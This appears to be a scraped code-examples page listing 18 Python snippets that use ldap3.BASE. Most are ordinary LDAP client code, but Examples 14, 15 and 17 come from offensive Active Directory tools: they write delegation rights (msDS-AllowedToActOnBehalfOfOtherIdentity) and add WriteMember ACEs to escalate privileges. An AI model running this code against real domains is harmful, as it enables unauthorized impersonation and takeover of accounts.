Python ldap3.BASE Examples
The following are 18
code examples of ldap3.BASE().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
ldap3
, or try the search function
.
Example #1
Source File: client_ldap3.py From code with MIT License | 6 votes |
def search(self, base, filter=None, scope=None, attrs=None): filter = filter or "(objectClass=*)" scope = { "base": ldap3.BASE, "subtree": ldap3.SUBTREE, "sub": ldap3.SUBTREE, "onelevel": ldap3.LEVEL, "one": ldap3.LEVEL, # not natively supported by ldap3 #"subordinate": ldap3.SUBORDINATE, #"child": ldap3.SUBORDINATE, }[scope or "subtree"] attrs = [*attrs] if attrs else ["*"] ok = self.conn.search(base, filter, search_scope=scope, attributes=attrs) entries = self.conn.entries entries = [(entry.entry_dn, entry.entry_raw_attributes) for entry in entries] return entries
Example #2
Source File: _ldap.py From treadmill with Apache License 2.0 | 6 votes |
def get_repls(self): """Get replication information. NOTE: OpenLDAP specific """ # paged_search does not work with cn=config backend, so using low level # search instead of higher level wrappers. result = self.search( search_base='olcDatabase={1}mdb,cn=config', search_filter='(objectclass=olcMdbConfig)', attributes=['olcSyncrepl'], search_scope=ldap3.BASE, ) entry = next(iter(result), {}).get('attributes') if entry: return entry.get('olcSyncrepl') else: return None
Example #3
Source File: domain.py From BloodHound.py with MIT License | 5 votes |
def ldap_get_single(self, qobject, attributes=None, use_gc=False, use_resolver=False): """ Get a single object, requires full DN to object. This function supports searching both in the local directory and the Global Catalog. The connection to the GC should already be established before calling this function. """ if use_gc: searcher = self.gcldap else: # If this request comes from the resolver thread, use that if use_resolver: searcher = self.resolverldap else: searcher = self.ldap if attributes is None or attributes == []: attributes = ALL_ATTRIBUTES try: sresult = searcher.extend.standard.paged_search(qobject, '(objectClass=*)', search_scope=BASE, attributes=attributes, paged_size=10, generator=False) except LDAPNoSuchObjectResult: # This may indicate the object doesn't exist or access is denied logging.warning('LDAP Server reported that the object %s does not exist.', qobject) return None for e in sresult: if e['type'] != 'searchResEntry': continue return e
Example #4
Source File: client_ldap3.py From code with MIT License | 5 votes |
def read_attr(self, dn, attr, raw=False): if not self.conn.search(dn, "(objectClass=*)", search_scope=ldap3.BASE, attributes=[attr]): raise Exception("search failed", self.conn.result) entry = self.conn.entries[0] if raw: return entry[attr].raw_values else: return entry[attr].values
Example #5
Source File: client_ldap3.py From code with MIT License | 5 votes |
def read_entry(self, dn, raw=False): if not self.conn.search(dn, "(objectClass=*)", search_scope=ldap3.BASE, attributes=[attr]): raise Exception("search failed", conn.result) entry = self.conn.entries[0] if raw: return CaseInsensitiveDict(entry.entry_raw_attributes) else: return CaseInsensitiveDict(entry.entry_attributes_as_dict)
Example #6
Source File: restore.py From CVE-2019-1040 with MIT License | 5 votes |
def remove_owner(ldapconnection, data): # Set SD flags to only query for owner controls = security_descriptor_control(sdflags=0x01) usersid = data['old_owner_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) if secDesc['OwnerSid'].formatCanonical() == usersid: print_m('%s is owned by the same user as before exploitation, skipping' % data['target_dn']) return True secDesc['OwnerSid'] = LDAP_SID() secDesc['OwnerSid'].fromCanonical(usersid) secdesc_data = secDesc.getData() res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [secdesc_data])}, controls=controls) if res: print_o('Owner restore succesful') return True else: # Constraintintersection means we can't change the owner to this SID # TODO: investigate why this is and possible workarounds if ldapconnection.result['result'] == 19: print_f('Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.' % (data['target_dn'], usersid)) # Treat this as a success return True raise RestoreException('Failed to change owner of group %s to %s: %s' % (data['target_dn'], usersid, str(ldapconnection.result)))
Example #7
Source File: restore.py From CVE-2019-1040 with MIT License | 5 votes |
def remove_domain_sync(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \ RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_i('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('Domain Sync privileges restored successfully') return True else: raise RestoreException('Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result)))
Example #8
Source File: restore.py From CVE-2019-1040 with MIT License | 5 votes |
def remove_addmember_privs(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: # Manual operation accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP if RestoreOperation.dacl_remove_ace(secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_i('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('AddMember privileges restored successfully') return True else: raise RestoreException('Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result)))
Example #9
Source File: _ldap.py From treadmill with Apache License 2.0 | 5 votes |
def get(self, dn, query, attrs, paged_search=True, dirty=False): """Gets LDAP object given dn.""" if paged_search: search_func = self.paged_search else: search_func = self.search result = search_func(search_base=dn, search_filter=six.text_type(query), search_scope=ldap3.BASE, attributes=attrs, dirty=dirty) return next(iter(result), {}).get('attributes')
Example #10
Source File: models.py From realms-wiki with GNU General Public License v2.0 | 5 votes |
def bind_search(self): logger = logging.getLogger("realms.auth.ldap") bind_dn = self.config.get('BIND_DN') or None base_dn = self.config['USER_SEARCH']['base'] filtr = self.config['USER_SEARCH']['filter'] % {'username': self.userid} scope = self.config['USER_SEARCH'].get('scope', 'subtree').lower().strip() if scope == "level": scope = ldap3.LEVEL elif scope == "base": scope = ldap3.BASE else: scope = ldap3.SUBTREE self.conn = ldap3.Connection( self.server, user=bind_dn, password=self.config.get('BIND_AUTH') or None, version=self.version ) if not self.start_tls(): return None if not self.conn.bind(): logger.error("Can't bind to the LDAP server with provided credentials ({})'".format(bind_dn)) return None logger.debug("Successfull BIND for '{}'".format(bind_dn)) try: if not self.conn.search(base_dn, filtr, attributes=ldap3.ALL_ATTRIBUTES, search_scope=scope): logger.info("User was not found in LDAP: '{}'".format(self.userid)) return None user_dn = self.conn.response[0]['dn'] attrs = self._get_attributes(self.conn.response) # the user was found in LDAP, now let's try a BIND to check the password return attrs if self.conn.rebind(user=user_dn, password=self.password) else None finally: self.close()
Example #11
Source File: models.py From realms-wiki with GNU General Public License v2.0 | 5 votes |
def direct_bind(self): logger = logging.getLogger("realms.auth.ldap") bind_dn = self.config['BIND_DN'] % {'username': self.userid} self.conn = ldap3.Connection( self.server, user=bind_dn, password=self.password, version=self.version ) if not self.start_tls(): # START_TLS was required but it failed return None if not self.conn.bind(): logger.info("Invalid credentials for '{}'".format(self.userid)) return None logger.debug("Successfull BIND for '{}'".format(bind_dn)) try: attrs = {} if self.conn.search( bind_dn, # base: the user DN "({})".format(bind_dn.split(",", 1)[0]), # filter: (uid=...) attributes=ldap3.ALL_ATTRIBUTES, search_scope=ldap3.BASE ): attrs = self._get_attributes(self.conn.response) return attrs finally: self.close()
Example #12
Source File: restore.py From aclpwn.py with MIT License | 5 votes |
def remove_owner(ldapconnection, data): # Set SD flags to only query for owner controls = security_descriptor_control(sdflags=0x01) usersid = data['old_owner_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) if secDesc['OwnerSid'].formatCanonical() == usersid: print_m('%s is owned by the same user as before exploitation, skipping' % data['target_dn']) return True secDesc['OwnerSid'] = LDAP_SID() secDesc['OwnerSid'].fromCanonical(usersid) secdesc_data = secDesc.getData() res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [secdesc_data])}, controls=controls) if res: print_o('Owner restore succesful') return True else: # Constraintintersection means we can't change the owner to this SID # TODO: investigate why this is and possible workarounds if ldapconnection.result['result'] == 19: print_f('Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.' % (data['target_dn'], usersid)) # Treat this as a success return True raise RestoreException('Failed to change owner of group %s to %s: %s' % (data['target_dn'], usersid, str(ldapconnection.result)))
Example #13
Source File: restore.py From aclpwn.py with MIT License | 5 votes |
def remove_addmember_privs(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: # Manual operation accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP if RestoreOperation.dacl_remove_ace(secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_m('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('AddMember privileges restored successfully') return True else: raise RestoreException('Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result)))
Example #14
Source File: ldapattack.py From Slackor with GNU General Public License v3.0 | 4 votes |
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
Example #15
Source File: ldapattack.py From CVE-2019-1040 with MIT License | 4 votes |
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
Example #16
Source File: restore.py From aclpwn.py with MIT License | 4 votes |
def remove_domain_sync(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \ RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_m('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('Domain Sync privileges restored successfully') return True else: raise RestoreException('Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result)))
Example #17
Source File: exploitation.py From aclpwn.py with MIT License | 4 votes |
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) # Dictionary for restore data restoredata = {} # print_m('Querying group security descriptor') group_sam = get_sam_name(group_bh_name) ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid # We need "write property" here to write to the "member" attribute accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP # this is the GUID of the Member attribute secDesc['Dacl']['Data'].append(create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype)) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Dacl modification successful') # Query the SD again to see what AD made of it ldapconnection.search(dn, '(objectClass=*)', search_scope=ldap3.BASE , attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD) # Save this to restore the SD later on restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True state.push_history('add_addmember_privs', restoredata) return True else: restoredata['success'] = False state.push_history('add_addmember_privs', restoredata) # filter out already exists? raise ExploitException('Failed to add WriteMember privs for %s to group %s: %s' % (userdn, dn, str(ldapconnection.result)))
Example #18
Source File: post-setup-add-components.py From community-edition-setup with MIT License | 4 votes |
def add_client2script(script_inum, client_id): dn = 'inum={},ou=scripts,o=gluu'.format(script_inum) if persistence_type == 'ldap': ldap_conn.search(search_base=dn, search_filter='(objectClass=*)', search_scope=ldap3.BASE, attributes=['oxConfigurationProperty']) for e in ldap_conn.response[0]['attributes'].get('oxConfigurationProperty', []): try: oxConfigurationProperty = json.loads(e) except: continue if isinstance(oxConfigurationProperty, dict) and oxConfigurationProperty.get('value1') == 'allowed_clients': if not client_id in oxConfigurationProperty['value2']: oxConfigurationProperty['value2'] = add2strlist(client_id, oxConfigurationProperty['value2']) oxConfigurationProperty_js = json.dumps(oxConfigurationProperty) ldap_conn.modify( dn, {'oxConfigurationProperty': [ldap3.MODIFY_DELETE, e]} ) ldap_conn.modify( dn, {'oxConfigurationProperty': [ldap3.MODIFY_ADD, oxConfigurationProperty_js]} ) break else: n1ql = 'SELECT oxConfigurationProperty FROM `gluu` USE KEYS "scripts_{}"'.format(script_inum) result = setupObj.cbm.exec_query(n1ql) js = result.json() oxConfigurationProperties = js['results'][0]['oxConfigurationProperty'] for i, oxconfigprop_str in enumerate(oxConfigurationProperties): oxconfigprop = json.loads(oxconfigprop_str) if oxconfigprop.get('value1') == 'allowed_clients' and not client_id in oxconfigprop['value2']: oxconfigprop['value2'] = self.add2strlist(client_id, oxconfigprop['value2']) oxConfigurationProperties[i] = json.dumps(oxconfigprop) break else: return n1ql = 'UPDATE `gluu` USE KEYS "scripts_{}" SET `oxConfigurationProperty`={}'.format(script_inum, json.dumps(oxConfigurationProperties)) setupObj.cbm.exec_query(n1ql)